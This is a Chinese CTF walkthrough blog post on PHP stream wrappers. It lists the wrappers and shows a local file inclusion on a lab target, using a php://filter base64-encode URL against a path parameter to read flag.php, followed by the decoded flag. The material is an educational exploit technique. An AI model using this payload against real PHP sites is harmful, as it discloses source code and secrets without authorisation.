CTF(phpinfo)---使用封装协议读取PHP协议

朴灿烈づ我的快乐病毒、 2022-12-28 05:28 148阅读 0赞

### 文章目录 ###

*   *   *  知识点---文件包含---使用php封装协议
         *  方法---使用封装协议读取PHP文件
         *   *   *  访问封装协议
         *  Ctf案例
         *   *   *  第一步 访问ctf地址
                 *  第二步 发现Phoinfo,并且是path=,考虑文件包含漏洞
                 *  第三步 通过扫描，发现flag.php，但是无法直接访问
                 *  第四步 利用php封装协议
                 *  第五步 将读取的base64的数据，进行解密
                 *  第六步 提交flag
         *  摘抄

### 知识点—文件包含—使用php封装协议 ###

*  PHP 带有很多内置 URL 风格的封装协议
 *  可用于类似 `fopen()、 copy()、 file_exists() 和 filesize()` 的文件系统函数。
 *  除了这些封装协议，还能通过 stream\_wrapper\_register() 来注册自定义的封装协议。

<table> 
 <thead> 
  <tr> 
   <th></th> 
   <th></th> 
  </tr> 
 </thead> 
 <tbody> 
  <tr> 
   <td>file://</td> 
   <td>— 访问本地文件系统</td> 
  </tr> 
  <tr> 
   <td>http://</td> 
   <td>— 访问 HTTP(s) 网址</td> 
  </tr> 
  <tr> 
   <td>ftp://</td> 
   <td>— 访问 FTP(s) URLs</td> 
  </tr> 
  <tr> 
   <td>php://</td> 
   <td>— 访问各个输入/输出流（I/O streams）</td> 
  </tr> 
  <tr> 
   <td>zlib://</td> 
   <td>— 压缩流</td> 
  </tr> 
  <tr> 
   <td>data://</td> 
   <td>— 数据（RFC 2397）</td> 
  </tr> 
  <tr> 
   <td>glob://</td> 
   <td>— 查找匹配的文件路径模式</td> 
  </tr> 
  <tr> 
   <td>phar://</td> 
   <td>— PHP 归档</td> 
  </tr> 
  <tr> 
   <td>ssh2://</td> 
   <td>— Secure Shell 2</td> 
  </tr> 
  <tr> 
   <td>rar://</td> 
   <td>— RAR</td> 
  </tr> 
  <tr> 
   <td>ogg://</td> 
   <td>— 音频流</td> 
  </tr> 
  <tr> 
   <td>expect://</td> 
   <td>— 处理交互式的流</td> 
  </tr> 
 </tbody> 
</table>

### 方法—使用封装协议读取PHP文件 ###

##### 访问封装协议 #####

http://rt.ichunqiu.com:8002/index.php?path=php://filter/read=convert.base64-encode/resource=flag.php

访问url，得到经过base64加密后的字符串：

PD9waHAKJGZsYWcgPSAnZmxhZ3s0ZTY5NGRjMy1jNDE4LTRhYzQtODA4OC1lYjVlNzM4Y2JjN2V9JzsK

这段代码就是Base64加密后的PHP源代码，经过解密后就可以得到其原本的“样貌”

### Ctf案例 ###

##### 第一步 访问ctf地址 #####

![在这里插入图片描述][20201214191630920.png]

##### 第二步 发现Phoinfo,并且是path=,考虑文件包含漏洞 #####

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70]  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 1]

##### 第三步 通过扫描，发现flag.php，但是无法直接访问 #####

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 2]  
![在这里插入图片描述][2020121921555436.png]

![在这里插入图片描述][20201214191641403.png]

##### 第四步 利用php封装协议 #####

文件包含：

http://rt.ichunqiu.com:8002/index.php?path=php://filter/read=convert.base64-encode/resource=flag.php

![在这里插入图片描述][20201214191646964.png]

##### 第五步 将读取的base64的数据，进行解密 #####

![在这里插入图片描述][20201214191651741.png]

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 3]

##### 第六步 提交flag #####

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 4]  
![在这里插入图片描述][20201219215702150.png]

### 摘抄 ###

--------------------

在这烟尘人间，

并非俗不可耐索然无味，

冬日暖阳，夏日蝉鸣都显可爱。

--------------------

[20201214191630920.png]: /images/20221120/5e7db64c4959414595e5f3054ae618db.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70]: /images/20221120/76e3a8bd3535432987735cf84d5b2d25.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 1]: /images/20221120/fd305436f1ee4d2a9817e7413d24cf87.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 2]: https://img-blog.csdnimg.cn/2020121921554334.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy,size_16,color_FFFFFF,t_70
[2020121921555436.png]: https://img-blog.csdnimg.cn/2020121921555436.png
[20201214191641403.png]: https://img-blog.csdnimg.cn/20201214191641403.png
[20201214191646964.png]: https://img-blog.csdnimg.cn/20201214191646964.png
[20201214191651741.png]: https://img-blog.csdnimg.cn/20201214191651741.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 3]: https://img-blog.csdnimg.cn/20201214191655873.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy,size_16,color_FFFFFF,t_70
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy_size_16_color_FFFFFF_t_70 4]: https://img-blog.csdnimg.cn/20201219215656643.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxOTAxMTIy,size_16,color_FFFFFF,t_70
[20201219215702150.png]: https://img-blog.csdnimg.cn/20201219215702150.png